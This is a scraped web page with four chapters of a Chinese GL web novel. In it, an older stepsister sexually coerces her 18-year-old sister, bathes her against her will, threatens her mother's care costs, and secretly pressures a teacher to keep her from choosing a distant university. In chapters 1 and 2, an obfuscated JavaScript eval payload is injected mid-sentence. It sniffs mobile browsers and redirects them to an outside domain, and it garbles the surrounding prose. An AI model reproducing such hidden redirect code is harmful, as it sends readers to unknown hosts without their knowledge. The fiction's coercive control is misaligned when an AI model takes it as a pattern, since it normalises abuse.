《荷忌GL》 1. 第 1 章 chapter01 三月初春,南英中学,校医务室。 苏青荷体育课后不小心踏空台阶崴了脚,整个右脚踝红肿充血,同学老师都赶到了医务室内,校医喷了止痛剂,做了一些简单的包扎处理。学校医务室设备有限,许多的检查做不了,因此无法确定到底有没有伤到骨头。 高三一班班主任,鲁慈惠听闻后,急忙给苏青荷的姐姐苏青沅打了电话。 半小时后,苏青沅从公司开车赶到了学校。 “这个待会还是要到大医院去检查一下,看下有没有骨折。”校医轻轻托着苏青荷的脚,不敢乱动,因刚崴了的时候还能走两步,这会已经动也不能动了,遂又说道,“看起来伤得不轻。” 苏青荷疼得整张脸发白,三月还穿羽绒服的节气,额头上爬满了细汗。 脚踝处起先是红肿,后来带着整个脚面都紫黑起来,看着触目惊心严重极了。 话音刚落,门外走进来一个穿着长款黑色大衣的女人,一头栗棕色长卷发垂在身后,因天气寒冷,再加上略有些着急,整张脸微微有些泛着红润。 一走进来,苏青沅就看见了围坐人群里椅子上的人,校服裤子卷到了小腿,整个脚翘在旁边的凳子上。 班主任鲁慈惠看见她来,忙道:“来了,快带她去医院检查下看看,有没有伤到骨头。” 苏青沅走过去,看见椅子上的人望见她的眼神,略微缩瑟了一下,随即又飞快忐忑地将头低了下去。 鲁慈惠是南英中学的老教师,苏青沅也曾是她的学生,且还是优秀学生,因此认得她,再加上苏青荷是她妹妹的缘故,平日也算是相熟。 苏青沅走过去,弯腰伸手将椅子上的人抱起来,对鲁慈惠道:“那鲁老师,我带荷荷先去医院。” 鲁慈惠:“好好,你快去吧。” 苏青沅抱着苏青荷离开医务室,走到停车场,将人放进副驾驶,替她系好安全带。 “除了脚,还有没有哪里摔到?”苏青沅还微俯着身子,轻声问她。 苏青荷怯怯地看了她一眼,道:“没有了。” 苏青沅双眸落在她脸上,察觉到她对自己略微表露的畏惧,她伸手轻碰了下她的脸,扶着下巴将脸转过来,白皙的肌肤上有一道隐隐的红色小口子,她拧眉问:“这里怎么回事?” 苏青荷不明所以,也没有镜子看不到,只说:“可能不小心刮到了,不疼。” 没有再说话,苏青沅开车带她到了最近的医院。 拍了片子,又做了检查,最后说没有伤到骨头,就是严重的崴脚,开了喷雾和止疼片消炎药之类的,还让要回去持续的冰敷,起码要养个五七天左右,才能走路。 确认没有其他问题后,苏青沅就抱着她离开了医院,回到家。 到了嘉山别墅,天已然黑了,苏青沅抱她回了卧室,让她躺下来后,又给她的班主任鲁慈惠打了一个电话,告知她人没有事,只是崴脚,但要请一周的假。 苏青荷如今是高三,此刻已经是三月份,距离六月份高考,只剩下两个多月的时间。功课学习都处于冲刺阶段,时间宝贵,这时候请假一周,要积累不少的试卷。 苏青荷想回学校,她能跛着脚将就行走,就不肯请假。苏青沅没有理会,直接在电话里就替她告了假。 鲁慈惠欣然表示没有问题,苏青荷是年纪第一,还是市里名列前茅的优秀学生,请假一周,对于她根本不会影响什么,只说要她好好养伤,不用太有压力,身体最重要。 苏青沅说了一声麻烦老师,刚要挂断电话之际,那头鲁慈惠又叫住了她。 “现在是重要阶段,青荷的成绩没得说,一向是十拿九稳的,但我看她这半年来,情绪似乎不太好,经常闷闷地不肯说话,比从前低落了很多。”鲁慈惠对她道,“我也知道,你们父亲去年去世,这个时候,对她来说是个很大的打击,你是她的亲姐姐,又是唯一的亲人了,要好好开导开导她。” 苏青沅听着电话里的声音,沉默了良久,最后淡声道:“好,我知道了,鲁老师放心,我会好好和她说的。” 挂断了电话,苏青沅在阳台上驻足了好一会儿,才转身进了卧室。 床上的人已经盖着被子躺下了,背朝着她,将脸蒙了大半,稍有些乱糟糟的马尾也没有松下来,只潦草地堆在被子里。 苏青沅走过去,在床边坐下来,看见她里面黄色的厚毛衣,伸手过去,“怎么不把衣服换下……” 话还未说完,苏青荷腾地一下睁开眼睛,紧紧攥着被子,抬眼盯着她没有说话。 苏青沅找出她的睡衣,转身拉开她的手,掀开被子,避免碰到她的脚踝,带着不容人拒绝的话音,道:“把睡衣换上,我带你去洗个澡。” 苏青荷心里砰砰直跳,带着恐惧的忐忑,不敢看她,怯弱地说:“我,我不想洗。” 苏青沅没有容她拒绝,直接伸手替她脱掉身上碍事的衣服裤子,将睡衣换上,又拦腰将人抱进了浴室。 苏青荷怔了下,只说:“我自己洗。” 苏青沅只当没有听见,仍旧像往常一样,放水,调温度,脱去她身上所有的衣服,将人抱进了浴缸里。因脚上有伤,不适合泡水,她只将她的右脚抬高,搭在浴缸边缘,替她清洗身体。 这样难堪的姿势,苏青荷浑身都在发抖。 感受着那双手在她身上攀游,几乎每一处都没有漏下。 手臂伸入水中,探进深处,苏青荷浑身僵住,思绪混沌,忽然让她想起两个月前的那个可怖的晚上。撕咬,愤怒,难堪……一切一切的荒谬与恐惧,一点一点啃噬掉她所有的人生。 洗完了澡换上睡衣,苏青沅抱她回房间,又替她上了一遍药。 想起什么来,她又问她:“饿不饿,想吃什么,我去做,家里有现成的。” 苏青荷浑身都呈紧绷状态,完全没有一点胃口,她坐在床边,只说:“我不饿,吃不下。” 苏青沅看着她瘦削的肩膀,脸颊也瘦得没有一点圆润,不过大半年,她整个人就掉了十斤不止。 “吃一点吧,好久没吃东西了。”她们下午靠四点出学校的,又在医院待了大半天,这会已经快要九点了,显然是从中午到现在,什么都没有吃。 苏青荷见她要去楼下做饭,她颤着声反抗:“我不想吃,我一点都吃不下。” 苏青沅听见她声音里蒙上一层哭腔, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423072|184812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心口里一软,想起这些日子以来,她的确状态很不好,连班主任都看了出来。 自从去年十月份,父亲苏贺安癌症去世后,她就一直郁郁寡欢,再加上两月前,她吓了她,至此后,精神状态一直不好。高三功课劳累,压力又大,苏青沅看着她发红的眼眶,稍稍有些不忍。 “不吃就算了,休息吧。这一周都不用去学校了,等脚上的伤好了,再回学校。” 苏青荷怕在家里住,从小到大,家里一直只有她们两个人,父亲常年工作繁忙,常常不回家,她也从来没想过,自己叫了十几年的姐姐,居然有一天,会是一个可怕的禽兽。 苏青荷坐在床边,看着她脱大衣,忍着忐忑开口:“我想去学校。” 苏青沅脱掉大衣的手指微顿,随后将衣服挂在旁边的衣架上,里面穿了一件打底的黑色薄毛衣,她找出自己的睡衣,没有回头,道:“不是说了,给你请过假了。” 苏青荷盯着她的背影,不肯说话。 良久没有听见动静,苏青沅转过身来,看向她,望见那双眼睛里的憎恶与可怖,她略有些落寞,声音轻轻:“跟着姐姐住,不好么?” 像是本能似的,苏青荷听见那两个字眼,脑子里绷紧的那根弦,轰一声坍塌,只觉恍惚,或许是受够了这样的沉重和不堪,她鼓起勇气,满眼愤怒地盯着她,道:“不好!我不要跟你住,我觉得恶心!” 苏青沅微顿,被她的字眼伤到,从记忆起,她们就一直住在一起,她也从来没有像此刻这样惧怕她,排斥她。 直到两月前捅破窗户纸的那一夜,她们就从世上最亲近的关系,变成了仇人。 “我说了,你不是我的亲妹妹,我们没有任何的血缘关系。”苏青沅盯着她,再次郑重地告诉她这一件已经重申了无数遍的事情。 苏青荷纵然不愿意相信,可两月前的那一封血缘关系鉴定书摆在她的面前,她才不得不承认,自己不是苏家的女儿。 可即便如此,这样不堪的关系又怎么可以接受。从有记忆起,她一直是苏青荷,是爸爸疼爱的小女儿,是她同父异母的亲妹妹,几乎所有人都知道这一点,可突然有一天,眼前的人告诉她,她们没有一点点的血缘关系,这一切都是假的。 “那也让我觉得恶心。”苏青荷低下头来,眼眶酸胀,双眸猩红盈满眼泪。 苏青沅没有再理会她,径直进了浴室洗澡。 二十分钟出来后,她抬眼,看见床上的人已经裹着被子躺下了。 那一句一句的话萦绕在她的耳边,她说这样的关系叫她恶心,曾几何时,她也曾依赖她,亲近她,抱着她喊她姐姐。 可一夜之间,难道就可以将过往的所有全部抹去么? 怎么可以呢。 苏青沅走到床边,扯开被子从她身后围过去,手臂扣在她的腰间,摸到她小''腹上一片冰凉,她替她捂着,感受到她身体的颤''栗。 唇瓣贴在耳后,指尖攀寻穿过,她感受到怀里的人挣扎着,亦如那日夜里,她吻她,彼此间连唇舌都是血腥的,她原想等再她长大一些,可两月前她十八岁生日,那像是一个信号,像毒蛇吐着猩红的蛇信子那样,缠绕侵蚀着她每一分一毫的理智。 2. 第 2 章 chapter02 苏青荷在家里休养了整整一周,这一周苏青沅每晚都回来,她现在是大四实习,只不过因去年父亲去世,家族企业无人照管,她就接管了苏氏集团,每日工作繁忙。 可再忙,她每晚都会回来,因为知道苏青荷一个人在家,没有人照顾。 保姆不在家里留夜,只固定不在苏青沅在的时候,几个小时按例打扫卫生和做饭,其余都不在家,因为苏青沅不喜欢家里有除了妹妹之外的任何人在。苏青荷甚至想,如果那晚张嫂在家里,是不是就不会发生这样的事情。 可变本加厉的苏青沅,叫她所有的天真想法,都成了荒唐与可笑。 周六晚上,苏青沅照旧加班。 她近来加班都很晚,有好几天,苏青荷都睡着了也没有见她回来。可深夜被她吵醒,身体的异样,都昭示着,自己被一个禽兽掌控住无法逃脱。 苏青荷不再想和她有牵扯,一直在书房里做试卷,学校里的试卷拿不出来,那她就自己给自己买外面的试卷,不论多少,她一张一张,一题一题地沉浸在繁重的学业里,以此摆脱内心的恐惧。 忽然房门外传来一声动静,只轻轻的一声,苏青荷却如临大敌,她扯下耳机,坐在那里心跳加速,盯着那紧闭的房门,敲门声传来,一下一下,像敲在她的心脏上。 房门被她反锁上,从外面进不来。 已经十一点钟了,苏青荷知道她回来了。不管再晚,她都会回家。 十分钟后,门锁传来钥匙转动的声音,苏青荷一怔,几乎忘记了家里的每一道门,都有一把备用钥匙。 苏青沅从门外开门进来,抬眼就看见坐在那里,与她四目相对一动不动的人,眼神里有呆滞和恍惚,她轻轻开口:“怎么不开门?” 苏青荷抿紧唇,没有说话。 苏青沅一回来后就直奔卧室,房间里一片漆黑,以为她睡了,摸上床榻才发现人不见,她转身出来,看见书房的灯还亮着。 苏青荷看着她走过来,手里紧紧握着笔,把耳机扯下来放在一旁,又将头埋进试卷里,细声说:“没有听见。” 苏青沅脱掉身上的大衣,一边走过去,一边看桌上堆着慢慢的习题本和试卷,翻了两下,轻声说:“不早了,明天再写吧,睡觉。” 苏青荷想也没有想,脱口而出:“我还不困,你先睡吧。” 苏青沅正要离开,刚迈出半步后停住脚,回过头来看她,知道她在想什么,却还是带着不容人拒绝的姿态,道:“我说了,明天再做,怎么,不肯听姐姐的话了?” 苏青荷看着她逼近,喉咙一点点收紧,几乎像是要窒息。 “你为什么,为什么要这样对我?!”她吓得朝她不满地尖声嘶吼。 苏青沅轻轻垂下眼眸,瞥见桌子上一页纸,她抽出来,苏青荷见状,忙要伸手去夺,却被苏青沅躲开。 西卉大学招生指南。 苏青沅眼中有怒意,她抬起头扫向她,声音发沉:“要到外地去?全国最好的大学就在A市,你要去哪儿?” 她记得去年的时候,还满心雀跃地对她说,要考A大的英文系,她喜欢语言,A大的外语系也是全国最顶尖的学府。 苏青荷盯着她,坚定地说:“我已经十八岁了,我想我有权利决定自己要上什么样的大学。” 苏青沅将手里的纸张撕得粉碎,她冷笑地抬头,对上她的视线,无情冷声开口:“你想离开A市,离开我的身边?荷荷,不值得,我不值得你拿自己的人生赌。” 苏青荷眼眶发红,紧紧盯着她不肯说话。 她从前是个爱笑的小话痨,后来就变得不肯说话,望着她的一双眼睛,也由温柔变成了仇恨。这不是苏青沅的本意,她不想得到一个对她满是敌意的苏青荷。 “跟着姐姐不好么?姐姐会对你好,永远爱你,留在A市,只要你想要的,姐姐都可以替你办到,你想要的大学,想要的工作,想要的生活,我都可以给你。” 苏青荷倔强地看她:“我不要。” “那你要什么?” “我什么也都不要!我只要离开你!永永远远离开你,你懂吗?!”苏青荷哭着朝她大喊。 苏青沅久久沉默未语,她走过去,弯下腰将人抱起来,苏青荷身体一下腾空,本能地抗拒挣扎。苏青沅将人抱回卧室,放在床上,抓着她反抗的手腕,按在床头,用身体压住她,俯低下身子靠近她的唇瓣,在指尖来远的距离停下来,声音淡淡,带着缱绻开口:“你不在乎自己,难道也不在乎素姨么?” 苏青荷蓦地顿住,整个人如遭雷劈,在一瞬间失去所有的力气。 苏青沅伸手抚她额间的乱发,轻轻勾拢在耳后,指腹细细描摹她的眉眼,温柔道:“素姨只有你一个女儿,你离了家,她会伤心的,况且,那每日高昂的照料费用,你能负担得起么?” 苏青荷仰头望着她,一行清泪从眼眶处流淌下来,隐入发丝里,她几乎全身都在颤抖。 苏青沅伸手替她细细擦去泪痕,闭眼吻她的眼尾,声音轻轻:“不哭乖乖,姐姐抱着你。” 周六中午,苏青荷拖着箱子要回学校,刚出大门,就看见门口那辆熟悉的汽车停在了门前。 苏青沅是午休抽空回来的,知道明天周一上课,她今天下午就要回学校。 脚伤已经好了差不多了,走路没什么问题,只是脚背上的淤青还是很深,医生说要养一段时间才能恢复了。 “不是说等我送你么?”苏青沅下了车,走向她,伸手替她拉着箱子。 苏青荷看着她穿了一件紫色的丝质衬衫,大衣还留在车内,显然是匆忙从公司赶回来的。她站在车后,看见箱子被她放进了后备箱,有种深深的无力,只说:“没有关系,我自己打车过去就可以,你去上班吧。” 苏青沅只当没听见她的话,关上后备箱,绕过她的身旁,淡声道:“上车。” 苏青荷拉开车门,坐在车后座,苏青沅知道她现在对她避如蛇蝎,也并未多说什么。 今天是周末,即便午后,路上依旧车水马龙,平日十几分钟的路程,硬是开了近半个钟头才到学校。到了校门口,苏青荷说自己回宿舍,但苏青沅还是坚持一直送到她楼上。 收拾完东西,苏青沅和她一起下楼,往教学楼方向走。高三在单独的一栋楼,一班在二楼,苏青荷站在走廊底下,对她说:“你走吧。” 苏青沅: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423073|184812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “去和你的班主任打个招呼。” 苏青荷不知道她要做什么,没有理会,转身就上了楼梯。苏青沅跟在她身后,一路上遇上三三两两的同学,大家都认识她们,和苏青荷打招呼,也甜甜地喊她“青沅姐”。 苏青沅曾是南英中学的优秀毕业生,照片简介在校园墙上挂了好几年,再加上苏青荷从一进高中开始,就一直都是年纪第一名,所有人都认得,苏青荷是苏青沅同父异母的妹妹。 到了二楼,左手边第一间就是班主任办公室,苏青沅带着人敲了门,来向鲁慈惠打招呼。姐妹俩都曾是鲁慈惠的得意学生,她看见两人,忙笑着让进来。 问了脚上的伤,又闲话慰问了几声,苏青荷主动对鲁慈惠说:“鲁老师,我先回去复习功课了,有好多试卷没有做。” 鲁慈惠点点头,笑说:“好,你回教室吧。” 苏青荷抬眼看了看身旁的人,没有说话,转身出了办公室。 周末的办公室里,没有其他老师,这周只有鲁慈惠一个人值班。苏青沅主动对她道:“鲁老师,我想和您商量些事情。” 鲁慈惠见她郑重其事,以为她有事情要说,忙道:“你说。” 苏青沅笑了下,声音轻轻道:“荷荷这段时间情绪是不太好,去年父亲走后,她就一直郁郁寡欢,她母亲近来身体也不好,我又忙于公司里的事情,对她的关心太少。” 鲁慈惠听出她的意思,说:“你放心,青荷我是从高一就看着过来的,她努力上进,各门功课都是拔尖的,还有两个月时间高考,以她的能力,A大是没有太大的问题的。” 苏青沅淡淡牵唇,道:“我也希望她将来上A大,离家近一些,我也好照顾她。” “姐妹俩在一起相互扶持,是最好的了。况且A大是全国最好的学校,也是你的母校,青荷真是你的翻版,你们姐妹俩,都是优秀的。” 苏青沅垂着长眸浅浅笑了下,她道:“我是不希望她离家太远,只是她近来可能是情绪不好,又大概到了青春叛逆期,不肯听家里人给她的安排,只想着长大了,要独立离家远一点,女孩儿家心思深想法多,我怕她年纪轻轻不懂事,上了外地的大学。所以想请您把把关,如果她把志愿填到外面去,烦请鲁老师告知我一声。” 鲁慈惠是南英中学资深的班主任,手里经历了一批又一批的学生,这个年纪的人有想法,尤其是女生,初高中繁重的学业压力大,总想着自由脱离家人控制,到远地方上大学,鲁慈惠都是经历的。 她也了解苏青沅的意思,她们失去父亲,彼此成了孤儿。女孩儿家,还是不要走太远的好,又何况彼此都是对方唯一的亲人了。 鲁慈惠道:“好,这个你放心,我们都是过来人,这都是从小就留在家里念书,没见过外面的原因,就都以为外面好的不得了,其实哪里有A市好呢,那A大是多少人梦中理想的大学,志愿是大事,千万马虎不得,你放心好了,青荷一直是我们年级里的重点对象,我们也有指标的,不会让她乱填志愿的,这个你不用担心。” 苏青沅听她这样说,也就放下心来,她点点头,笑说:“那就好,我公司还有事,就不打扰您了。” “好,路上当心。” 3. 第 3 章 chapter03 苏青荷回到教室,不过只一周时间,桌子上的试卷和习题已经堆积如山。 好在有她同桌陈郁微替她整理了一下,不至于显得太凌乱。 陈郁微从后门进来,看见她同桌已经回来了,忙走过去,问道:“荷荷,你回来啦。” 苏青荷朝她抿了抿唇,笑着嗯了一声。 陈郁微有些愧疚地和她道歉:“对不起啊荷荷,那天是我不好,要不是我和你追着玩,你也不会受伤了。” 苏青荷整理着桌上的试卷,她笑了下道:“没事的郁微,意外嘛,好在没有怎么,我已经好了。” 陈郁微是苏青荷的发小兼好朋友,她们从初中就认识,到高三,两人已经认识六年,坐了六年的同桌了。 一模考试刚结束,成绩公布,苏青荷又是毫无意外的年级第一,还是市里的第五名。 即便这样优秀,回到教室的第一件事情,也是做试卷。 别人都以为苏青荷是天生脑子聪明,其实陈郁微知道,她比班上的任何一个人都要努力认真。没有人是天生的天才,即便是天才,也依旧还是需要刻苦的拼搏和努力。 陈郁微趴在桌子上,侧着脸看眼前的人,一张标准的小巧精致瓜子脸,白皙的皮肤,高挺的鼻梁,杏仁一样晶亮的双眸,即便一个潦草的马尾,也掩盖不住这样的清丽漂亮。 整个年级都认定,苏青荷不仅成绩优秀,她还是大家公认的漂亮校花。 有人说,上天给一个人开了一扇门,那必然又会给她关上一扇窗。 陈郁微好奇,上天究竟给苏青荷关上了哪一扇窗户。她有优渥的家世,疼她的父亲,即便是同父异母的姐姐,依旧对她宠爱到极点。天之骄女,大概也不如她吧。 苏青荷察觉到身旁人的目光,她转过头,笑了一下,“怎么了?试卷做完了,这么闲。” 陈郁微看着她,托起腮说:“我在想,老天爷到底给你关上了哪一扇窗户?” 苏青荷不知道她这半天的想法,但听见这句话,还是明白过来她的意思。 她无奈笑了下,收回视线,看着桌上的语文试卷怔怔出神。 “郁微,你想好考什么大学了吗?” 有个共识,一模考试的成绩,向来是最接近高考的成绩的。因此这一次的一模考试,是整个高三年级里最重视的,分数也是最具有参考价值的。 陈郁微叹了口气,道:“我也不知道呢,分数忽高忽低的,不敢想。荷荷,我真的太羡慕你了,你应该考A大吧。真好,离家都不远。” A大离南英都不远,只隔了几条街,步行都能过去。她们住在附近的,几乎每天上学都会从A大路过,那是所有人都梦想的高级学府,只要考上A大,人生都已经成功了一大半。 苏青荷确有些落寞,从前她也和所有人一样,都梦想着上A大,她也一直在为这个目标而努力。可是现在,她忽然想去一个谁也不认识她,找不到她的地方去。 “对了!”陈郁微突然想起来一件事情,忙从书包里翻出一个信封来,悄悄放在她的试卷上,轻声道,“我差点忘了,这是乔楠给你的。上周她知道你脚崴了,想来看你,结果你姐就带你走了,没有来得及。” 苏青荷看着面前躺着的信封,忽然没有勇气拆开。 陈郁微见她发愣,忙催促着说:“你快拆开看看呀,看看她给你写了什么,我还给你们传信。” 乔楠和苏青荷相识于高一军训,苏青荷一直年级第一,而第二名一直是乔楠。 后来分班,她选了文科,乔楠选了理科,至此她们就分开了,她在一班,而乔楠在楼上的四班。 陈郁微也一直充当着她们两人之间的信鸽,隔三差五就给她们传信。 高中不让带手机,她们就以这种最淳朴的方式交流,整个一年多以来,她们之间传的信封,大概可以装一麻袋。 苏青荷知道,这其实算早恋。乔楠优秀,人很漂亮且温柔幽默,说话永远不紧不慢,唇瓣牵起带着笑容。她记得第一次见乔楠,她们分在同一个宿舍的上下铺。其实最开始的一整个学期,她们没有什么交集,因为特殊,她们在冬天军训。当时乔楠闹了一个大笑话,她在身上贴了一个暖宝宝,结果那个暖宝宝是个次品,踢正步到一半的时候,暖宝宝里的铁屑掉出来,教官没有喊停,她们就没有办法停下来,结果那个暖宝宝一点一点漏出来,沿着乔楠的裤腿,整个方阵那一长排,很明显的一条黑线。 当时乔楠就站在她身后,苏青荷踩着那铁锈,来来回回地走,简直笑弯了腰。 由于这个契机,她们关系一下拉近。因为是临近寒假过年,没有课业压力,军训也比同年暑假的军训松很多,她们就因此熟络起来,一起传看爱情小说,一起去军训山上的商店买汽水,一起聊天,一起讨论爱好,一起讲述初中的趣事,一起说寒假的计划。 学生时期的友好仿佛很容易建立,有时候仅仅只一句话,就可以让彼此动心有好感。 其实没有交集的那一学期里,她们总会偷偷地关注到对方,因为整个高一,她们一直都是第一第二。苏青荷文科强一些,而乔楠理科又比苏青荷厉害一些,这样彼此追逐的氛围里,即便没有交集,也甚过许多的言语。 苏青荷坐在教室第二排,乔楠坐在另一组的第三排。这样间错的距离,苏青荷几乎余光就能感受到乔楠的存在,而乔楠,因为这样得天独厚的位置,也几乎抬眼就是她。 没有多少很浪漫动人的交集,就这样,她们走得越来越近。 再后来,是高二文理分科,她们少了很多见面交集的机会,最多的,也只有每天晚自习下课,那十来分钟的时间。 整个班上所有人都知道她们在谈恋爱,苏青荷也从来没有否认过。 她甚至还和乔楠共同约定,将来一起留在A市上大学,她知道,乔楠想考医学,A市的医学也是很厉害的,S市也是她的选择,但乔楠还是坚定地选择留在A市。 苏青荷知道,乔楠是为了和她在一起。 可是,可是不知道为什么,事情好像一下子变得不一样了。 苏青荷迟迟没有勇气和精力拆开眼前这份信,她知道信里会有些什么话,每一次也都能够猜出来,可即使这样,她还是像每天拆盲盒那样,期待她们这样一来一回的沟通。 她想,只要是乔楠,就算是很无聊的话,她也觉得甜蜜。 陈郁微见她迟迟不动,自己先一步拆开了信封,里面有一张纸,写的密密麻麻。她摆在苏青荷面前,躺在语文试卷上,道:“喏,你看吧。” 苏青荷看着面前熟悉的字迹,她的字一向漂亮,像大人的字,沉稳颇有功底。她还和她打趣过,说假如有一天她们穿越到古代,她靠卖字为生,自己做诗人,把她的字写进诗里,让她流传千古。 信里没什么意外的内容,只还是平常那些,知道她脚崴伤了,问及她的情况。乔楠又说了很多自己的心情,包括一模考试的感受,还有对未来的憧憬。大约是知道自己受伤,她把话说得幽默风趣,企图把她逗开心。 其实也不止是这个原因,这两个月来,苏青荷郁郁寡欢,乔楠也察觉了出来,甚至这两个月来,乔楠写了几十封信,而苏青荷只回了一半都不到。 这样的反常,不止乔楠,就连陈郁微都察觉到了。 陈郁微见她把信纸折叠起来放进信封,又将信封塞进包里,知道她是又不回信了。 她觉得有些反常,小心地开口试探说:“荷荷,你要不给乔楠回封信吧,我看她这两天心情也不太好,昨天还向我打听,你这段时间怎么了。” 纵然再隐瞒,可亲近的人却能够有这样的能力,能在一言一句里就察觉出对方的情绪。乔楠或许不知道苏青荷发生了什么,可却感受得到 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周日的晚自习比平时提前结束了半个小时,虽然只有这一点点的时间,对高三繁重的压力来说,却像是难得的放纵。 八点半,所有人陆陆续续从教学楼离开回宿舍,苏青荷也浑浑噩噩跟着人群走,一整个晚自习,她都心不在焉,脑子里混沌烦乱,她在想乔楠,也在想别的事。 一份数学试卷,她错得几乎离谱。 从教学楼离开,走到司令台后,忽然有人拉住了她,声音从身后传来:“荷荷。” 熟悉的一道声音,一下子拉回了苏青荷胡乱的思绪,她转头,看见不知何时过来的乔楠。她抿了抿唇,轻轻喊:“是你。” 乔楠看着眼前的人,不过一周没有见,就觉得好像又瘦了。这一年里,她都闷闷不乐。 乔楠抿起笑容问她:“脚伤好了吗?” 苏青荷:“都好了。” “那就好,我那天晚上才听说,也没有来得及去看你。”乔楠轻轻去拉她的手,苏青荷一怔,整个人有些应激,浑身不受控制地颤了一下。 乔楠察觉了出来,她看着她的脸庞,昏暗的一点点光芒,照出她略微憔悴的神色,她有些心疼,紧紧拉住她的手心,细声问:“发生什么事了吗?” 像心虚,苏青荷牵起微笑,故作轻松地说:“能有什么事?” 乔楠看着她的脸色,直觉她有心事,可见她又不愿意说,就只好没有问。 她牵她的手,放在手心里缠绵,轻轻问:“下午是你姐姐送你来的吧。” 乔楠只是闲聊,可苏青荷却恍惚如临大敌,腾地抽回自己的手,结舌说:“我,我有些困了,我回去睡了。” 苏青荷转头要走,乔楠忙喊住她,“荷荷。” “真的没有事吗?你脸色看起来很憔悴,是不是身体还没有恢复好?”乔楠低下头来看她的脸庞,声音也变得比以往更温柔。 苏青荷摇了摇头,努力抿起一个笑容,说:“真没有,就是可能一周没有回学校,有点不习惯。” 乔楠踌躇了片刻,没有再问,只说:“这周末放假,我们去看电影,好不好?” 她们每半个月的周末放一次假,也只有一天左右的时间,在周六上午上完一节自习课后放假,第二天下午就要回学校了。 可即便只有一天,对于她们,也像是大赦天下。 往常这样的周末,她们也会常常约会,在商场里逛一逛,吃个饭看个电影,和大多数中学生一样,没有什么特别的。可因为是独处时刻,却又是最幸福的时候。 苏青荷没有拒绝,她点头答应说好,“那我先走了。” 乔楠牵唇笑,轻轻靠过去,在她脸颊上偷偷飞快地印了一个吻,“那我们周末见。” 苏青荷微怔,抬头看向她,声音有些发颤地说:“好。” 4. 第 4 章 chapter04 周末,南英中学整个高三放假一天,一大早起来,大伙儿就在收拾着东西准备回家,连早读课大家也没有什么心思上,都盼着九点钟一结束,冲出这烦闷的牢笼,歇一口气。 一模结束,大家也稍有些松泛。难得的三月初春,风和日丽,九点钟铃声一响,仿佛连阳光都是自由的。 苏青荷没有什么心思放假,她也根本不想回家。逃离家的这一周,虽然每天都有做不完的试卷,可仍旧觉得充实,疲劳和长时间的缺觉,让她没有时间胡思乱想,反倒觉得轻松很多。 往常周六放假,苏青沅都会来接她。 就算她没有空,也会让助理徐琦来接她回家。今日是放假的周末,默认大家可以使用手机,用来联系。苏青荷也有一个,是苏青沅给她买的,只是她平日在学校里学习任务繁重,除了用来联络外,几乎不怎么用。 直到此刻,苏青荷也没有开机。 陈郁微一边收拾书包,一边催促着她说:“荷荷,你怎么还不收拾东西,你姐姐来接你么?” 苏青荷漫不经心地嗯了一声,说一会就走,没有多和她解释。她知道陈郁微今天要和父母去外地,她爸妈一早就开车在校门口等着她了,所以这会恨不得第一个冲出学校大门。 陈郁微背上书包,对她说:“那荷荷我先走了,明晚见。” 苏青荷牵唇:“明晚见。” 十分钟过去了,教室里的人才走得七七八八,苏青荷犹豫了一下,最后将手机开机。 两分钟后,忽然有电话进来,铃声响起的一瞬间,她下意识紧张。 屏幕上显示徐琦,她怔愣了片刻,随后接通电话。 “喂。” “荷荷,是我,徐助理。”徐琦道,“你姐姐这周出差,还没有回来,这两天估计赶不回来了,你今天放假吧,我去接你,不过你要稍等我一会,我这边临时有个文件要送一下……” 话还未说完,苏青荷愣了下,她急急打断了电话里的声音,道:“那个徐琦姐,没事,你不用来,我今天要和同学去逛街,回头我自己打车回去吧。” 徐琦听后,答应道:“也行,那你注意安全,脚伤好了吗?” “都好了。” 徐琦:“好,那有什么事情就打电话给我。” 苏青荷嗯了一声,挂断电话。知道苏青沅出差不回来,她忽然有一种如释重负的轻松,只要今明两天不见她,那么她就又可以熬过半个月。 她低着头看着手机屏幕出神,窗外忽然有人喊了一声:“荷荷。” 苏青荷一愣,回头看见窗外的乔楠,她牵了下唇笑,站起身走过去,站在窗户里问她:“你不回家么?” 她们约好这周末要去看电影,明天午后就要返校,上午商场又没有开门,所以只能把时间留到今天。 乔楠趴在窗户上,和她隔着窗框见面,笑着说:“要的,下午见好么?” 苏青荷点点头说:“好,那两点钟吧。” 乔楠嗯了一声,又问她:“你呢,今天谁来接你?你姐姐吗?” 苏青荷抿着唇,眼梢轻垂了下,低声说:“她出差了,我自己打车回去。” 乔楠:“我让我爸妈一起送你吧。” 苏青荷笑着摇了摇头,说不用,“你快走吧,校门口不好停车,别让他们等你了。” 乔楠伸手拉了一下她的手心,声音轻轻,温润地开口:“那待会见。” 苏青荷感受到被她攥在掌心里的手,温温的,湿湿的,她回握了一下,笑说:“好。” 午后,苏青沅结束所有工作,想起今日是周六,就给徐助理打了一个电话。 “接到荷荷了吗?”她一边收拾东西,一边漫不经心地问着。 徐琦如实说:“哦她说要和同学去逛街,我这边正忙,也就没有去接,她说下午结束了会自己回家。” 苏青沅微怔,“和同学逛街?什么同学?” 徐琦并不知她们姐妹之间的关系,只笑着说:“我没有细问,不过这个年纪嘛,她们难得放假,谈个恋爱逛个街也是正常。” 徐琦不过随口一句话,却在苏青沅心里荡起无数涟漪。她久久沉默,甚至忘记了电话那头在喊她:“苏总,苏总……” 苏青沅回过神来,问:“什么事?” 徐琦问她:“你什么时候回来,是明天上午吗,我这边给你订机票。” 苏青沅道:“我现在回去,你替我买最近一班航班。” 